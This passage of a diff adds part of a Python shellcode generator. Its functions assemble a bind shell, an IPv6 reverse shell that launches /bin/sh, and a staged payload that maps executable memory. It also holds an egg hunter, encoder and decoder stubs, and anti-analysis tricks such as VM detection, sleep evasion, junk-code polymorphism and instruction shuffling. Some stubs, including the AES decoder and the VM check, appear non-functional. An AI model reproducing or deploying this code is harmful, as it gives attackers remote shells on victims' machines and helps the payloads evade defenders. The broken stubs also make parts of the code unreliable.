725
|
+
jae b64_write
|
|
726
|
+
jmp b64_loop
|
|
727
|
+
b64_write:
|
|
728
|
+
mov rax, rcx
|
|
729
|
+
shr rax, 16
|
|
730
|
+
mov byte ptr [rdi], al
|
|
731
|
+
mov ax, cx
|
|
732
|
+
shr ax, 8
|
|
733
|
+
mov byte ptr [rdi+1], al
|
|
734
|
+
mov byte ptr [rdi+2], ah
|
|
735
|
+
add rdi, 3
|
|
736
|
+
xor rcx, rcx
|
|
737
|
+
jmp b64_loop
|
|
738
|
+
b64_done:
|
|
739
|
+
mov rax, rdi
|
|
740
|
+
ret
|
|
741
|
+
|
|
742
|
+
get_base64_table:
|
|
743
|
+
mov rax, 0x4141414141414141
|
|
744
|
+
mov qword ptr [rsp - 8], rax
|
|
745
|
+
mov rax, qword ptr [rsp - 8]
|
|
746
|
+
add rax, 16
|
|
747
|
+
mov byte ptr [rax], 0x3D
|
|
748
|
+
ret
|
|
749
|
+
"""
|
|
750
|
+
try:
|
|
751
|
+
return myasm(decoder_asm)
|
|
752
|
+
except Exception as e:
|
|
753
|
+
print(f"{RED}[-] Error assembling base64 decoder: {e}{RESET}", file=sys.stderr)
|
|
754
|
+
raise
|
|
755
|
+
|
|
756
|
+
|
|
757
|
+
def base32_decoder_stub() -> bytes:
|
|
758
|
+
decoder_asm = """
|
|
759
|
+
push rbx
|
|
760
|
+
mov rbx, rsi
|
|
761
|
+
call decode_base32
|
|
762
|
+
pop rbx
|
|
763
|
+
jmp rax
|
|
764
|
+
|
|
765
|
+
decode_base32:
|
|
766
|
+
mov rdi, rsi
|
|
767
|
+
xor rax, rax
|
|
768
|
+
xor rcx, rcx
|
|
769
|
+
b32_loop:
|
|
770
|
+
cmp byte ptr [rbx], 0
|
|
771
|
+
je b32_done
|
|
772
|
+
movzx rsi, byte ptr [rbx]
|
|
773
|
+
mov al, byte ptr [rsi + 0x41]
|
|
774
|
+
shl rcx, 5
|
|
775
|
+
or rcx, rax
|
|
776
|
+
inc rbx
|
|
777
|
+
cmp rcx, 0x1F
|
|
778
|
+
jae b32_write
|
|
779
|
+
jmp b32_loop
|
|
780
|
+
b32_write:
|
|
781
|
+
mov rax, rcx
|
|
782
|
+
shr rax, 20
|
|
783
|
+
mov byte ptr [rdi], al
|
|
784
|
+
mov ax, cx
|
|
785
|
+
shr ax, 15
|
|
786
|
+
mov byte ptr [rdi+1], al
|
|
787
|
+
mov ax, cx
|
|
788
|
+
shr ax, 10
|
|
789
|
+
mov byte ptr [rdi+2], al
|
|
790
|
+
mov ax, cx
|
|
791
|
+
shr ax, 5
|
|
792
|
+
mov byte ptr [rdi+3], al
|
|
793
|
+
mov byte ptr [rdi+4], cl
|
|
794
|
+
add rdi, 5
|
|
795
|
+
xor rcx, rcx
|
|
796
|
+
jmp b32_loop
|
|
797
|
+
b32_done:
|
|
798
|
+
mov rax, rdi
|
|
799
|
+
ret
|
|
800
|
+
"""
|
|
801
|
+
try:
|
|
802
|
+
return myasm(decoder_asm)
|
|
803
|
+
except Exception as e:
|
|
804
|
+
print(f"{RED}[-] Error assembling base32 decoder: {e}{RESET}", file=sys.stderr)
|
|
805
|
+
raise
|
|
806
|
+
|
|
807
|
+
|
|
808
|
+
def aes_decoder_stub(key_size: int) -> bytes:
|
|
809
|
+
iv_size = 16
|
|
810
|
+
decoder_asm = f"""
|
|
811
|
+
mov rdi, rsp
|
|
812
|
+
add rdi, 32
|
|
813
|
+
mov rsi, rdi
|
|
814
|
+
mov rdx, {key_size}
|
|
815
|
+
call aes_decrypt_cbc
|
|
816
|
+
mov rax, rsp
|
|
817
|
+
add rax, 32
|
|
818
|
+
add rax, {iv_size}
|
|
819
|
+
jmp rax
|
|
820
|
+
|
|
821
|
+
aes_decrypt_cbc:
|
|
822
|
+
push rbp
|
|
823
|
+
mov rbp, rsp
|
|
824
|
+
sub rsp, 256
|
|
825
|
+
mov qword ptr [rbp - 16], rdi
|
|
826
|
+
mov qword ptr [rbp - 24], rsi
|
|
827
|
+
mov qword ptr [rbp - 32], rdx
|
|
828
|
+
add rsp, 256
|
|
829
|
+
pop rbp
|
|
830
|
+
ret
|
|
831
|
+
"""
|
|
832
|
+
try:
|
|
833
|
+
return myasm(decoder_asm)
|
|
834
|
+
except Exception as e:
|
|
835
|
+
print(f"{RED}[-] Error assembling AES decoder: {e}{RESET}", file=sys.stderr)
|
|
836
|
+
raise
|
|
837
|
+
|
|
838
|
+
|
|
839
|
+
def rle_encode(data: bytes) -> bytes:
|
|
840
|
+
result = bytearray()
|
|
841
|
+
i = 0
|
|
842
|
+
while i < len(data):
|
|
843
|
+
count = 1
|
|
844
|
+
while i + count < len(data) and data[i] == data[i + count] and count < 255:
|
|
845
|
+
count += 1
|
|
846
|
+
result += bytes([count, data[i]])
|
|
847
|
+
i += count
|
|
848
|
+
return bytes(result)
|
|
849
|
+
|
|
850
|
+
|
|
851
|
+
def lz77_encode(
|
|
852
|
+
data: bytes, window_size: int = 4096, min_match: int = 3, max_match: int = 18
|
|
853
|
+
) -> bytes:
|
|
854
|
+
result = bytearray()
|
|
855
|
+
i = 0
|
|
856
|
+
while i < len(data):
|
|
857
|
+
best_offset = 0
|
|
858
|
+
best_length = 0
|
|
859
|
+
window_start = max(0, i - window_size)
|
|
860
|
+
for j in range(window_start, i):
|
|
861
|
+
length = 0
|
|
862
|
+
while (
|
|
863
|
+
i + length < len(data)
|
|
864
|
+
and length < max_match
|
|
865
|
+
and data[j + length] == data[i + length]
|
|
866
|
+
):
|
|
867
|
+
length += 1
|
|
868
|
+
if length > best_length and length >= min_match:
|
|
869
|
+
best_offset = i - j
|
|
870
|
+
best_length = length
|
|
871
|
+
if best_length >= min_match:
|
|
872
|
+
result += bytes(
|
|
873
|
+
[0x80 | best_length, (best_offset >> 8) & 0xFF, best_offset & 0xFF]
|
|
874
|
+
)
|
|
875
|
+
i += best_length
|
|
876
|
+
else:
|
|
877
|
+
result += bytes([data[i]])
|
|
878
|
+
i += 1
|
|
879
|
+
return bytes(result)
|
|
880
|
+
|
|
881
|
+
|
|
882
|
+
def lz77_decode(data: bytes) -> bytes:
|
|
883
|
+
result = bytearray()
|
|
884
|
+
i = 0
|
|
885
|
+
while i < len(data):
|
|
886
|
+
if data[i] & 0x80:
|
|
887
|
+
length = data[i] & 0x7F
|
|
888
|
+
offset = (data[i + 1] << 8) | data[i + 2]
|
|
889
|
+
for _ in range(length):
|
|
890
|
+
result.append(result[-offset])
|
|
891
|
+
i += 3
|
|
892
|
+
else:
|
|
893
|
+
result.append(data[i])
|
|
894
|
+
i += 1
|
|
895
|
+
return bytes(result)
|
|
896
|
+
|
|
897
|
+
|
|
898
|
+
def lz77_decoder_stub(original_size: int) -> bytes:
|
|
899
|
+
decoder_asm = f"""
|
|
900
|
+
mov rsi, rsp
|
|
901
|
+
add rsi, {32 + original_size}
|
|
902
|
+
mov rdi, rsp
|
|
903
|
+
add rdi, 32
|
|
904
|
+
|
|
905
|
+
decode_lz77:
|
|
906
|
+
lodsb
|
|
907
|
+
test al, 0x80
|
|
908
|
+
jz store_literal
|
|
909
|
+
|
|
910
|
+
movzx rbx, al
|
|
911
|
+
and rbx, 0x7F
|
|
912
|
+
lodsb
|
|
913
|
+
movzx rdx, al
|
|
914
|
+
lodsb
|
|
915
|
+
movzx rcx, al
|
|
916
|
+
shl rdx, 8
|
|
917
|
+
or rcx, rdx
|
|
918
|
+
|
|
919
|
+
mov rbx, rcx
|
|
920
|
+
sub rdi, rcx
|
|
921
|
+
|
|
922
|
+
copy_match:
|
|
923
|
+
mov al, byte ptr [rdi]
|
|
924
|
+
stosb
|
|
925
|
+
dec rbx
|
|
926
|
+
jnz copy_match
|
|
927
|
+
jmp decode_lz77
|
|
928
|
+
|
|
929
|
+
store_literal:
|
|
930
|
+
stosb
|
|
931
|
+
cmp rsi, rsp
|
|
932
|
+
add rsi, {32 + original_size}
|
|
933
|
+
jl decode_lz77
|
|
934
|
+
|
|
935
|
+
mov rax, rsp
|
|
936
|
+
add rax, 32
|
|
937
|
+
jmp rax
|
|
938
|
+
"""
|
|
939
|
+
try:
|
|
940
|
+
return myasm(decoder_asm)
|
|
941
|
+
except Exception as e:
|
|
942
|
+
print(
|
|
943
|
+
f"{RED}[-] Error assembling LZ77 decoder stub: {e}{RESET}", file=sys.stderr
|
|
944
|
+
)
|
|
945
|
+
raise
|
|
946
|
+
|
|
947
|
+
|
|
948
|
+
def generate_polymorphic_junk() -> bytes:
|
|
949
|
+
patterns = [
|
|
950
|
+
"xor rcx, rcx",
|
|
951
|
+
"add rdx, 0",
|
|
952
|
+
"lea rsi, [rsi + 0]",
|
|
953
|
+
"mov r9, r9",
|
|
954
|
+
"push rbx; pop rbx",
|
|
955
|
+
"nop",
|
|
956
|
+
"xchg rax, rax",
|
|
957
|
+
"test r8, r8",
|
|
958
|
+
"cdqe",
|
|
959
|
+
]
|
|
960
|
+
junk_asm = ""
|
|
961
|
+
for _ in range(random.randint(3, 7)):
|
|
962
|
+
junk_asm += random.choice(patterns) + "; "
|
|
963
|
+
try:
|
|
964
|
+
return myasm(junk_asm)
|
|
965
|
+
except Exception as e:
|
|
966
|
+
print(f"{RED}[-] Error assembling junk code: {e}{RESET}", file=sys.stderr)
|
|
967
|
+
raise
|
|
968
|
+
|
|
969
|
+
|
|
970
|
+
def rle_decoder_stub(original_size: int) -> bytes:
|
|
971
|
+
placeholder_decoder = f"""
|
|
972
|
+
mov rdi, rsp
|
|
973
|
+
add rdi, 100
|
|
974
|
+
mov rsi, rdi
|
|
975
|
+
decode_rle_placeholder:
|
|
976
|
+
lodsb; mov cl, al; lodsb; jecxz s_p; .r_p: stosb; loop .r_p; s_p:
|
|
977
|
+
mov rax, rsp; add rax, {100 + original_size}; cmp rdi, rax
|
|
978
|
+
jl decode_rle_placeholder
|
|
979
|
+
mov rax, rsp; add rax, 100; jmp rax
|
|
980
|
+
"""
|
|
981
|
+
try:
|
|
982
|
+
stub_size = len(myasm(placeholder_decoder))
|
|
983
|
+
except Exception as e:
|
|
984
|
+
print(
|
|
985
|
+
f"{RED}[-] Error assembling placeholder RLE stub: {e}{RESET}",
|
|
986
|
+
file=sys.stderr,
|
|
987
|
+
)
|
|
988
|
+
raise
|
|
989
|
+
|
|
990
|
+
final_decoder_asm = f"""
|
|
991
|
+
mov rdi, rsp
|
|
992
|
+
add rdi, {stub_size}
|
|
993
|
+
mov rsi, rdi
|
|
994
|
+
|
|
995
|
+
decode_rle_final:
|
|
996
|
+
lodsb
|
|
997
|
+
mov cl, al
|
|
998
|
+
lodsb
|
|
999
|
+
jecxz skip_stosb_final
|
|
1000
|
+
|
|
1001
|
+
.repeat_final:
|
|
1002
|
+
stosb
|
|
1003
|
+
loop .repeat_final
|
|
1004
|
+
|
|
1005
|
+
skip_stosb_final:
|
|
1006
|
+
mov rax, rsp
|
|
1007
|
+
add rax, {stub_size + original_size}
|
|
1008
|
+
cmp rdi, rax
|
|
1009
|
+
jl decode_rle_final
|
|
1010
|
+
|
|
1011
|
+
mov rax, rsp
|
|
1012
|
+
add rax, {stub_size}
|
|
1013
|
+
jmp rax
|
|
1014
|
+
"""
|
|
1015
|
+
try:
|
|
1016
|
+
final_stub_bytes = myasm(final_decoder_asm)
|
|
1017
|
+
except Exception as e:
|
|
1018
|
+
print(
|
|
1019
|
+
f"{RED}[-] Error assembling final RLE stub: {e}{RESET}",
|
|
1020
|
+
file=sys.stderr,
|
|
1021
|
+
)
|
|
1022
|
+
raise
|
|
1023
|
+
|
|
1024
|
+
new_stub_size = len(final_stub_bytes)
|
|
1025
|
+
if abs(new_stub_size - stub_size) > 8:
|
|
1026
|
+
print(
|
|
1027
|
+
f"{YELLOW}[*] RLE Stub size recalculated: {new_stub_size} bytes. Retrying...{RESET}",
|
|
1028
|
+
file=sys.stderr,
|
|
1029
|
+
)
|
|
1030
|
+
depth = getattr(rle_decoder_stub, "recursion_depth", 0)
|
|
1031
|
+
if depth > 3:
|
|
1032
|
+
raise RecursionError("RLE stub size calculation failed to stabilize.")
|
|
1033
|
+
setattr(rle_decoder_stub, "recursion_depth", depth + 1)
|
|
1034
|
+
result = rle_decoder_stub(original_size)
|
|
1035
|
+
delattr(rle_decoder_stub, "recursion_depth")
|
|
1036
|
+
return result
|
|
1037
|
+
else:
|
|
1038
|
+
if hasattr(rle_decoder_stub, "recursion_depth"):
|
|
1039
|
+
delattr(rle_decoder_stub, "recursion_depth")
|
|
1040
|
+
|
|
1041
|
+
return final_stub_bytes
|
|
1042
|
+
|
|
1043
|
+
|
|
1044
|
+
def egg_hunter(egg: bytes = b"\\x00\\x00\\x00\\x00") -> bytes:
|
|
1045
|
+
if len(egg) != 4:
|
|
1046
|
+
raise ValueError("Egg must be 4 bytes")
|
|
1047
|
+
egg_int = struct.unpack("<I", egg)[0]
|
|
1048
|
+
|
|
1049
|
+
hunter_asm = f"""
|
|
1050
|
+
mov r15, 0x{egg_int:08X}
|
|
1051
|
+
xor rcx, rcx
|
|
1052
|
+
mov rsi, rcx
|
|
1053
|
+
dec rsi
|
|
1054
|
+
next_page:
|
|
1055
|
+
or rcx, 0xfff
|
|
1056
|
+
next_byte:
|
|
1057
|
+
inc rcx
|
|
1058
|
+
mov rax, 0x{egg_int:08X}
|
|
1059
|
+
mov rdx, 0x21
|
|
1060
|
+
mov r10, rcx
|
|
1061
|
+
inc r10
|
|
1062
|
+
syscall
|
|
1063
|
+
cmp rax, 0xf2
|
|
1064
|
+
je next_page
|
|
1065
|
+
mov rdi, rcx
|
|
1066
|
+
mov rdx, 4
|
|
1067
|
+
mov rax, 0
|
|
1068
|
+
syscall
|
|
1069
|
+
cmp rax, 4
|
|
1070
|
+
jne next_byte
|
|
1071
|
+
mov rdi, rcx
|
|
1072
|
+
mov rsi, rcx
|
|
1073
|
+
lodsd
|
|
1074
|
+
cmp rax, r15
|
|
1075
|
+
jne next_byte
|
|
1076
|
+
mov rdi, rcx
|
|
1077
|
+
add rdi, 4
|
|
1078
|
+
jmp rdi
|
|
1079
|
+
"""
|
|
1080
|
+
try:
|
|
1081
|
+
return myasm(hunter_asm)
|
|
1082
|
+
except Exception as e:
|
|
1083
|
+
print(f"{RED}[-] Error assembling egg hunter: {e}{RESET}", file=sys.stderr)
|
|
1084
|
+
raise
|
|
1085
|
+
|
|
1086
|
+
|
|
1087
|
+
def generate_sleep_evasion(sleep_seconds: int = 60) -> bytes:
|
|
1088
|
+
sleep_asm = f"""
|
|
1089
|
+
mov rax, 35
|
|
1090
|
+
xor rdi, rdi
|
|
1091
|
+
syscall
|
|
1092
|
+
mov rax, 35
|
|
1093
|
+
add rdi, {sleep_seconds}
|
|
1094
|
+
syscall
|
|
1095
|
+
"""
|
|
1096
|
+
try:
|
|
1097
|
+
return myasm(sleep_asm)
|
|
1098
|
+
except Exception as e:
|
|
1099
|
+
print(f"{RED}[-] Error assembling sleep evasion: {e}{RESET}", file=sys.stderr)
|
|
1100
|
+
raise
|
|
1101
|
+
|
|
1102
|
+
|
|
1103
|
+
def generate_vm_detection() -> bytes:
|
|
1104
|
+
vm_asm = """
|
|
1105
|
+
xor eax, eax
|
|
1106
|
+
mov ax, 0x5658
|
|
1107
|
+
push rax
|
|
1108
|
+
mov rdi, rsp
|
|
1109
|
+
xor esi, esi
|
|
1110
|
+
mov rax, 318
|
|
1111
|
+
syscall
|
|
1112
|
+
pop rax
|
|
1113
|
+
cmp ax, 0x5658
|
|
1114
|
+
jne not_vmware
|
|
1115
|
+
|
|
1116
|
+
mov rax, 60
|
|
1117
|
+
mov rdi, 1
|
|
1118
|
+
syscall
|
|
1119
|
+
|
|
1120
|
+
not_vmware:
|
|
1121
|
+
mov rdi, 0x766D7770
|
|
1122
|
+
mov qword ptr [rsp - 8], rdi
|
|
1123
|
+
mov rdi, rsp
|
|
1124
|
+
sub rdi, 8
|
|
1125
|
+
mov rsi, 0
|
|
1126
|
+
mov rax, 318
|
|
1127
|
+
syscall
|
|
1128
|
+
|
|
1129
|
+
cmp rax, 0
|
|
1130
|
+
je not_hyperv
|
|
1131
|
+
|
|
1132
|
+
mov rax, 60
|
|
1133
|
+
mov rdi, 1
|
|
1134
|
+
syscall
|
|
1135
|
+
|
|
1136
|
+
not_hyperv:
|
|
1137
|
+
mov rdi, 0x64616F74
|
|
1138
|
+
mov qword ptr [rsp - 8], rdi
|
|
1139
|
+
mov rdi, rsp
|
|
1140
|
+
sub rdi, 8
|
|
1141
|
+
mov rsi, 0
|
|
1142
|
+
mov rax, 318
|
|
1143
|
+
syscall
|
|
1144
|
+
|
|
1145
|
+
cmp rax, 0
|
|
1146
|
+
je not_qemu
|
|
1147
|
+
|
|
1148
|
+
mov rax, 60
|
|
1149
|
+
mov rdi, 1
|
|
1150
|
+
syscall
|
|
1151
|
+
|
|
1152
|
+
not_qemu:
|
|
1153
|
+
ret
|
|
1154
|
+
"""
|
|
1155
|
+
try:
|
|
1156
|
+
return myasm(vm_asm)
|
|
1157
|
+
except Exception as e:
|
|
1158
|
+
print(f"{RED}[-] Error assembling VM detection: {e}{RESET}", file=sys.stderr)
|
|
1159
|
+
raise
|
|
1160
|
+
|
|
1161
|
+
|
|
1162
|
+
def generate_parent_check() -> bytes:
|
|
1163
|
+
parent_asm = """
|
|
1164
|
+
mov rax, 110
|
|
1165
|
+
syscall
|
|
1166
|
+
mov r15, rax
|
|
1167
|
+
cmp r15, 1
|
|
1168
|
+
je parent_exit
|
|
1169
|
+
cmp r15, 2
|
|
1170
|
+
je parent_exit
|
|
1171
|
+
mov rax, 110
|
|
1172
|
+
syscall
|
|
1173
|
+
cmp rax, 1
|
|
1174
|
+
je grandparent_exit
|
|
1175
|
+
jmp continue_execution
|
|
1176
|
+
|
|
1177
|
+
parent_exit:
|
|
1178
|
+
mov rax, 60
|
|
1179
|
+
mov rdi, 0
|
|
1180
|
+
syscall
|
|
1181
|
+
|
|
1182
|
+
grandparent_exit:
|
|
1183
|
+
mov rax, 60
|
|
1184
|
+
mov rdi, 0
|
|
1185
|
+
syscall
|
|
1186
|
+
|
|
1187
|
+
continue_execution:
|
|
1188
|
+
ret
|
|
1189
|
+
"""
|
|
1190
|
+
try:
|
|
1191
|
+
return myasm(parent_asm)
|
|
1192
|
+
except Exception as e:
|
|
1193
|
+
print(f"{RED}[-] Error assembling parent check: {e}{RESET}", file=sys.stderr)
|
|
1194
|
+
raise
|
|
1195
|
+
|
|
1196
|
+
|
|
1197
|
+
def api_hash(syscall_name: str) -> int:
|
|
1198
|
+
h = 0
|
|
1199
|
+
for c in syscall_name.lower():
|
|
1200
|
+
h = (h << 5) - h + ord(c)
|
|
1201
|
+
h &= 0xFFFFFFFF
|
|
1202
|
+
return h
|
|
1203
|
+
|
|
1204
|
+
|
|
1205
|
+
def generate_bind_shell(port: int, bind_addr: str = "0.0.0.0") -> bytes:
|
|
1206
|
+
try:
|
|
1207
|
+
ip_bytes = socket.inet_aton(bind_addr)
|
|
1208
|
+
except OSError:
|
|
1209
|
+
raise ValueError(f"Invalid bind address: {bind_addr}")
|
|
1210
|
+
port_bytes = port.to_bytes(2, "big")
|
|
1211
|
+
port_int = struct.unpack("<H", port_bytes)[0]
|
|
1212
|
+
|
|
1213
|
+
bind_asm = f"""
|
|
1214
|
+
mov rax, 41
|
|
1215
|
+
mov rdi, 2
|
|
1216
|
+
mov rsi, 1
|
|
1217
|
+
xor rdx, rdx
|
|
1218
|
+
syscall
|
|
1219
|
+
mov r15, rax
|
|
1220
|
+
|
|
1221
|
+
mov rax, 49
|
|
1222
|
+
mov rdi, r15
|
|
1223
|
+
sub rsp, 16
|
|
1224
|
+
mov dword ptr [rsp+4], 0x{ip_bytes.hex()}
|
|
1225
|
+
mov ax, {port_int}
|
|
1226
|
+
mov word ptr [rsp+2], ax
|
|
1227
|
+
mov word ptr [rsp], 2
|
|
1228
|
+
mov rsi, rsp
|
|
1229
|
+
mov rdx, 16
|
|
1230
|
+
syscall
|
|
1231
|
+
add rsp, 16
|
|
1232
|
+
|
|
1233
|
+
mov rax, 50
|
|
1234
|
+
mov rdi, r15
|
|
1235
|
+
xor rsi, rsi
|
|
1236
|
+
syscall
|
|
1237
|
+
|
|
1238
|
+
mov rax, 43
|
|
1239
|
+
mov rdi, r15
|
|
1240
|
+
xor rsi, rsi
|
|
1241
|
+
xor rdx, rdx
|
|
1242
|
+
syscall
|
|
1243
|
+
mov r14, rax
|
|
1244
|
+
|
|
1245
|
+
xor rsi, rsi
|
|
1246
|
+
dup_loop_bind:
|
|
1247
|
+
mov rax, 33
|
|
1248
|
+
mov rdi, r14
|
|
1249
|
+
syscall
|
|
1250
|
+
inc rsi
|
|
1251
|
+
cmp rsi, 3
|
|
1252
|
+
jne dup_loop_bind
|
|
1253
|
+
|
|
1254
|
+
mov rdi, r14
|
|
1255
|
+
mov rax, 59
|
|
1256
|
+
sub rsp, 16
|
|
1257
|
+
mov qword ptr [rsp], 0x68732F6E69622F
|
|
1258
|
+
mov qword ptr [rsp+8], 0
|
|
1259
|
+
mov rdi, rsp
|
|
1260
|
+
xor rsi, rsi
|
|
1261
|
+
xor rdx, rdx
|
|
1262
|
+
syscall
|
|
1263
|
+
add rsp, 16
|
|
1264
|
+
"""
|
|
1265
|
+
try:
|
|
1266
|
+
return myasm(bind_asm)
|
|
1267
|
+
except Exception as e:
|
|
1268
|
+
print(f"{RED}[-] Error assembling bind shell: {e}{RESET}", file=sys.stderr)
|
|
1269
|
+
raise
|
|
1270
|
+
|
|
1271
|
+
|
|
1272
|
+
def generate_ipv6_reverse_shell(ipv6_addr: str, port: int) -> bytes:
|
|
1273
|
+
try:
|
|
1274
|
+
ipv6_bytes = socket.inet_pton(socket.AF_INET6, ipv6_addr)
|
|
1275
|
+
except OSError:
|
|
1276
|
+
raise ValueError(f"Invalid IPv6 address: {ipv6_addr}")
|
|
1277
|
+
port_bytes = port.to_bytes(2, "big")
|
|
1278
|
+
port_int = struct.unpack("<H", port_bytes)[0]
|
|
1279
|
+
|
|
1280
|
+
ipv6_asm = f"""
|
|
1281
|
+
mov rax, 41
|
|
1282
|
+
mov rdi, 10
|
|
1283
|
+
mov rsi, 1
|
|
1284
|
+
xor rdx, rdx
|
|
1285
|
+
syscall
|
|
1286
|
+
mov r15, rax
|
|
1287
|
+
|
|
1288
|
+
mov rax, 42
|
|
1289
|
+
mov rdi, r15
|
|
1290
|
+
sub rsp, 28
|
|
1291
|
+
mov qword ptr [rsp], 0x{ipv6_bytes[:8].hex()}
|
|
1292
|
+
mov qword ptr [rsp+8], 0x{ipv6_bytes[8:].hex()}
|
|
1293
|
+
mov ax, {port_int}
|
|
1294
|
+
mov word ptr [rsp+24], ax
|
|
1295
|
+
mov word ptr [rsp+26], 10
|
|
1296
|
+
mov rsi, rsp
|
|
1297
|
+
mov rdx, 28
|
|
1298
|
+
syscall
|
|
1299
|
+
add rsp, 28
|
|
1300
|
+
|
|
1301
|
+
xor rsi, rsi
|
|
1302
|
+
dup_loop_ipv6:
|
|
1303
|
+
mov rax, 33
|
|
1304
|
+
mov rdi, r15
|
|
1305
|
+
syscall
|
|
1306
|
+
inc rsi
|
|
1307
|
+
cmp rsi, 3
|
|
1308
|
+
jne dup_loop_ipv6
|
|
1309
|
+
|
|
1310
|
+
mov rdi, r15
|
|
1311
|
+
mov rax, 59
|
|
1312
|
+
sub rsp, 16
|
|
1313
|
+
mov qword ptr [rsp], 0x68732F6E69622F
|
|
1314
|
+
mov qword ptr [rsp+8], 0
|
|
1315
|
+
mov rdi, rsp
|
|
1316
|
+
xor rsi, rsi
|
|
1317
|
+
xor rdx, rdx
|
|
1318
|
+
syscall
|
|
1319
|
+
add rsp, 16
|
|
1320
|
+
"""
|
|
1321
|
+
try:
|
|
1322
|
+
return myasm(ipv6_asm)
|
|
1323
|
+
except Exception as e:
|
|
1324
|
+
print(
|
|
1325
|
+
f"{RED}[-] Error assembling IPv6 reverse shell: {e}{RESET}", file=sys.stderr
|
|
1326
|
+
)
|
|
1327
|
+
raise
|
|
1328
|
+
|
|
1329
|
+
|
|
1330
|
+
def generate_dns_resolve(domain: str) -> bytes:
|
|
1331
|
+
domain_bytes = domain.encode("ascii") + b"\x00"
|
|
1332
|
+
padded_domain = domain_bytes.ljust(14, b"\x00")[:14]
|
|
1333
|
+
word14_hex = padded_domain[12:14].hex() if len(domain_bytes) > 12 else "0000"
|
|
1334
|
+
resolve_asm = f"""
|
|
1335
|
+
mov rax, 41
|
|
1336
|
+
mov rdi, 2
|
|
1337
|
+
mov rsi, 1
|
|
1338
|
+
xor rdx, rdx
|
|
1339
|
+
syscall
|
|
1340
|
+
mov r15, rax
|
|
1341
|
+
|
|
1342
|
+
mov rax, 42
|
|
1343
|
+
mov rdi, r15
|
|
1344
|
+
sub rsp, 16
|
|
1345
|
+
mov dword ptr [rsp], 0x{padded_domain[:4].hex()}
|
|
1346
|
+
mov qword ptr [rsp+4], 0x{padded_domain[4:12].hex()}
|
|
1347
|
+
mov word ptr [rsp+14], 0x{word14_hex}
|
|
1348
|
+
mov word ptr [rsp+2], 53
|
|
1349
|
+
mov word ptr [rsp], 2
|
|
1350
|
+
mov rsi, rsp
|
|
1351
|
+
mov rdx, 16
|
|
1352
|
+
syscall
|
|
1353
|
+
add rsp, 16
|
|
1354
|
+
"""
|
|
1355
|
+
try:
|
|
1356
|
+
return myasm(resolve_asm)
|
|
1357
|
+
except Exception as e:
|
|
1358
|
+
print(f"{RED}[-] Error assembling DNS resolver: {e}{RESET}", file=sys.stderr)
|
|
1359
|
+
raise
|
|
1360
|
+
|
|
1361
|
+
|
|
1362
|
+
def substitute_instructions(asm_code: str) -> str:
|
|
1363
|
+
substitutions = [
|
|
1364
|
+
("xor eax, eax", "and eax, 0"),
|
|
1365
|
+
("sub rax, rax", "xor rax, rax"),
|
|
1366
|
+
("push rax; pop rax", "xchg rax, rax"),
|
|
1367
|
+
("mov rdi, 0", "xor rdi, rdi"),
|
|
1368
|
+
("mov rsi, 0", "xor rsi, rsi"),
|
|
1369
|
+
("mov rdx, 0", "xor rdx, rdx"),
|
|
1370
|
+
]
|
|
1371
|
+
result = asm_code
|
|
1372
|
+
for old, new in substitutions:
|
|
1373
|
+
if random.random() > 0.5:
|
|
1374
|
+
result = result.replace(old, new)
|
|
1375
|
+
return result
|
|
1376
|
+
|
|
1377
|
+
|
|
1378
|
+
def transposed_code(asm_lines: list[str]) -> list[str]:
|
|
1379
|
+
if len(asm_lines) < 3:
|
|
1380
|
+
return asm_lines
|
|
1381
|
+
independent = []
|
|
1382
|
+
dependent = []
|
|
1383
|
+
deps = ["jmp", "je", "jne", "jz", "jnz", "js", "jns", "call", "ret", "loop"]
|
|
1384
|
+
for line in asm_lines:
|
|
1385
|
+
if any(d in line.lower() for d in deps):
|
|
1386
|
+
dependent.append(line)
|
|
1387
|
+
else:
|
|
1388
|
+
independent.append(line)
|
|
1389
|
+
random.shuffle(independent)
|
|
1390
|
+
result = []
|
|
1391
|
+
i, j = 0, 0
|
|
1392
|
+
for line in asm_lines:
|
|
1393
|
+
if any(d in line.lower() for d in deps):
|
|
1394
|
+
result.append(dependent[j])
|
|
1395
|
+
j += 1
|
|
1396
|
+
else:
|
|
1397
|
+
result.append(independent[i])
|
|
1398
|
+
i += 1
|
|
1399
|
+
return result
|
|
1400
|
+
|
|
1401
|
+
|
|
1402
|
+
def call_preceded_obfuscation(syscall_num: int) -> bytes:
|
|
1403
|
+
obf_asm = f"""
|
|
1404
|
+
call next_instr
|
|
1405
|
+
next_instr:
|
|
1406
|
+
pop r10
|
|
1407
|
+
mov dword ptr [r10 + 1], {syscall_num}
|
|
1408
|
+
mov byte ptr [r10], 0xE8
|
|
1409
|
+
jmp r10
|
|
1410
|
+
|
|
1411
|
+
nop
|
|
1412
|
+
nop
|
|
1413
|
+
nop
|
|
1414
|
+
"""
|
|
1415
|
+
try:
|
|
1416
|
+
return myasm(obf_asm)
|
|
1417
|
+
except Exception as e:
|
|
1418
|
+
print(
|
|
1419
|
+
f"{RED}[-] Error assembling call preceded obfuscation: {e}{RESET}",
|
|
1420
|
+
file=sys.stderr,
|
|
1421
|
+
)
|
|
1422
|
+
raise
|
|
1423
|
+
|
|
1424
|
+
|
|
1425
|
+
def syscall_splitting(syscall_num: int) -> bytes:
|
|
1426
|
+
split_asm = f"""
|
|
1427
|
+
mov r10, {syscall_num}
|
|
1428
|
+
nop
|
|
1429
|
+
mov rax, r10
|
|
1430
|
+
nop
|
|
1431
|
+
nop
|
|
1432
|
+
"""
|
|
1433
|
+
try:
|
|
1434
|
+
return myasm(split_asm)
|
|
1435
|
+
except Exception as e:
|
|
1436
|
+
print(
|
|
1437
|
+
f"{RED}[-] Error assembling syscall splitting: {e}{RESET}", file=sys.stderr
|
|
1438
|
+
)
|
|
1439
|
+
raise
|
|
1440
|
+
|
|
1441
|
+
|
|
1442
|
+
def generate_staged_payload(stage1_size: int = 128) -> tuple[bytes, bytes]:
|
|
1443
|
+
stage1_asm = f"""
|
|
1444
|
+
mov rax, 9
|
|
1445
|
+
mov rdi, 0
|
|
1446
|
+
mov rsi, {stage1_size}
|
|
1447
|
+
mov rdx, 7
|
|
1448
|
+
mov r10, 0x22
|
|
1449
|
+
xor r8, r8
|
|
1450
|
+
dec r8
|
|
1451
|
+
mov r9, 0
|
|
1452
|
+
syscall
|
|
1453
|
+
mov r15, rax
|
|
1454
|
+
|
|
1455
|
+
mov rax, 41
|
|
1456
|
+
mov rdi, 2
|
|
1457
|
+
mov rsi, 1
|
|
1458
|
+
xor rdx, rdx
|
|
1459
|
+
syscall
|
|
1460
|
+
mov r14, rax
|
|
1461
|
+
|
|
1462
|
+
mov rax, 42
|
|
1463
|
+
mov rdi, r14
|
|
1464
|
+
sub rsp, 16
